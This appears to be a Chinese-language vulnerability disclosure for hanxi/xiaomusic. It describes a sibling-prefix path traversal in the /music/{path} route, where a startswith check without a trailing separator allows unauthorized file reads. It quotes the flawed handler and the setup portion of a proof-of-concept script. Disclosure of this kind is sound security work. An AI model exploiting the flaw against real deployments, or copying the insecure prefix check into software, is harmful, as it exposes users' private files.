在 hanxi/xiaomusic 中通过 /music/{path} 兄弟前缀遍历读取未授权文件
xiaomusic/api/routers/file.py:954-978
@router.get("/music/{file_path:path}") async def music_file(request: Request, file_path: str, key: str = "", code: str = ""): if not access_key_verification(f"/music/{file_path}", key, code): raise HTTPException(status_code=404, detail="File not found") # ... absolute_path = os.path.abspath(config.music_path) absolute_file_path = os.path.normpath(os.path.join(absolute_path, file_path)) if not absolute_file_path.startswith(absolute_path): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail="File not found") # ... return FileResponse(absolute_file_path)
poc.py
import asyncio import os import shutil import sys import tempfile TEMP_DIR = tempfile.mkdtemp(prefix="xiaomusic_poc_") MUSIC_DIR = os.path.join(TEMP_DIR, "music") SIBLING_DIR = os.path.join(TEMP_DIR, "music_secret") os.makedirs(MUSIC_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) with open(os.path.join(MUSIC_DIR, "legit.mp3"), "wb") as f: f.write(b"\xff\xfb\x90\x00" + b"\x00" * 60) with open(os.path.join(SIBLING_DIR, "stolen.txt"), "w") as f: f.write("LEAKED_PRIVATE_DATA") os.environ["XIAOMUSIC_MUSIC_PATH"] = MUSIC_DIR
内容来源: hanxi/xiaomusic